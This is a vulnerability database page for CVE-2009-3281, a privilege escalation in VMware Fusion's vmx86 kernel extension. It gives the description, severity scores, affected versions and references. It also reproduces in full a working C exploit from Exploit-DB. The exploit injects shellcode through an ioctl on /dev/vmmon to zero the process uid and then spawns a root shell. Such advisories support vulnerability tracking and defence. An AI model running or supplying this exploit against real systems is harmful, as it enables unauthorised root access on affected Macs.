CVE-2009-3281 : Detail

CVE-2009-3281

A01-Broken Access Control
0.08%V3
Local
2009-10-16
16h00 +00:00
2024-09-17
00h31 +00:00
CVE.org
NVD
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CVE Descriptions

The vmx86 kernel extension in VMware Fusion before 2.0.6 build 196839 does not use correct file permissions, which allows host OS users to gain privileges on the host OS via unspecified vectors.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 10076

Publication date : 2009-10-01 22h00 +00:00
Author : mu-b
EDB Verified : Yes

/* vmware-fission.c * * Copyright (c) 2009 by <[email protected]> * * VMware Fusion <= 2.0.5 vmx86 kext local kernel root exploit * by mu-b - Tue 23 June 2009 * * - Tested on: VMware Fusion 2.0.4 (10.5.x) * VMware Fusion 2.0.5 (10.5.x) * * http://seclists.org/fulldisclosure/2009/Oct/29 * http://lists.vmware.com/pipermail/security-announce/2009/000066.html * * note: this requires the driver to be 'un-initialised', that is, * you need to hit it _before_ VMware Fusion is first used! * (or, just use another bug to panic the box first ;)) * * - this exploit is provided for educational purposes _only_. You are free * to use this code in any way you wish provided you do not work for, or * are associated in any way with Portcullis Computer Security Ltd. * * - Private Source Code -DO NOT DISTRIBUTE - * http://www.digit-labs.org/ -- Digit-Labs 2009!@$! */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/types.h> #include <sys/param.h> #include <unistd.h> #include <mach/mach.h> #include <mach/mach_error.h> #include <mach/mach_host.h> #ifndef IOCPARM_MASK #define IOCPARM_MASK 0x1FFF #endif #ifndef IOCPARM_LEN #define IOCPARM_LEN(a) (((a) >> 16) & IOCPARM_MASK) #endif #define VMX86_INIT_IOCTL 0x802E564A static unsigned char zleopard[] = /* _stack_walk */ "\x89\xe8" /* mov eax, ebp */ "\x8b\x00" /* mov eax, [eax] */ "\x8b\x00" /* mov eax, [eax] */ /* _drop_privs_dirty */ "\x8b\x40\x18" /* mov eax, [eax+0x18] */ "\x8b\x40\x64" /* mov eax, [eax+0x64] */ "\xc7\x40\x10\x00\x00\x00\x00" /* mov [eax+0x10], 0 */ "\x31\xc0" /* xor eax, eax */ "\xc3"; /* ret */ static struct targets { const char *name; int shell_addr; /* +&offset */ } targets_t[] = { { "2.0.4", 0x000D1460 }, { "2.0.5", 0x000D1460 }, { NULL, 0 }, }; struct ioctl_req { char pad[IOCPARM_LEN(VMX86_INIT_IOCTL)]; }; int main (int argc, char **argv) { kmod_info_t *kmod_list, *k; mach_port_t host_port; kern_return_t mach_r; struct ioctl_req req; unsigned int count; int shell_addr; int fd, id, i, r; printf ("VMware Fusion <= 2.0.5 vmx86 kext local kernel root exploit\n" "by: <[email protected]>\n" "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n"); host_port = mach_host_self (); mach_r = kmod_get_info (host_port, (void *) &kmod_list, &count); if (mach_r != KERN_SUCCESS) { fprintf (stderr, "* couldn't get list of loaded kexts from kernel - %s\n", mach_error_string (mach_r)); exit (EXIT_FAILURE); } for (k = kmod_list; k; k = (k->next) ? (k + 1) : NULL) if (strcmp (k->name, "com.vmware.kext.vmx86") == 0) break; if (k == NULL) { fprintf (stderr, "%s: vmx86 kext not loaded?\n", argv[0]); exit (EXIT_FAILURE); } for (i = 0; targets_t[i].name; i++) if (strcmp (targets_t[i].name, k->version) == 0) { shell_addr = targets_t[i].shell_addr; break; } if (targets_t[i].name == NULL) { fprintf (stderr, "%s: unsupported vmx86 version found :( [%s]\n", argv[0], k->version); exit (EXIT_FAILURE); } printf ("* kmod: %s, version: %s, addr: 0x%08X -> 0x%08X\n", strrchr (k->name, '.') + 1, k->version, (int) k->address, (int) (k->address + k->size)); printf ("* ret addr: 0x%08X + 0x%08X = @0x%08X\n", (int) k->address, shell_addr + 0x1000, (int) k->address + shell_addr + 0x1000); fd = open ("/dev/vmmon", O_RDONLY); if (fd < 0) { fprintf (stderr, "%s: open failed\n", argv[0]); exit (EXIT_FAILURE); } memset (&req, 0xCC, sizeof req); memcpy (&req.pad, zleopard, sizeof zleopard - 1); *(unsigned int *) &req.pad[0x21] = k->address + shell_addr + 0x1000; printf ("* hitting..."); fflush (stdout); sleep (2); r = ioctl (fd, VMX86_INIT_IOCTL, &req); printf ("done\n\n"); close (fd); id = getuid (); printf ("* getuid(): %d\n", id); if (id == 0) { char *args[] = { "/bin/bash", NULL }; printf ("+Wh00t\n\n"); execve (args[0], args, NULL); } else fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]); return (EXIT_SUCCESS); }

Products Mentioned

Configuraton 0

Vmware>>Fusion >> Version To (including) 2.0.5

Vmware>>Fusion >> Version 1.0

    Vmware>>Fusion >> Version 1.1

      Vmware>>Fusion >> Version 1.1.1

      Vmware>>Fusion >> Version 1.1.2

        Vmware>>Fusion >> Version 1.1.3

          Vmware>>Fusion >> Version 2.0

            Vmware>>Fusion >> Version 2.0.1

              Vmware>>Fusion >> Version 2.0.2

                Vmware>>Fusion >> Version 2.0.3

                  Vmware>>Fusion >> Version 2.0.4

                    Apple>>Mac_os_x >> Version *

                    References

                    http://www.vupen.com/english/advisories/2009/2811
                    Tags : vdb-entry, x_refsource_VUPEN
                    http://secunia.com/advisories/36928
                    Tags : third-party-advisory, x_refsource_SECUNIA
                    http://securitytracker.com/id?1022981
                    Tags : vdb-entry, x_refsource_SECTRACK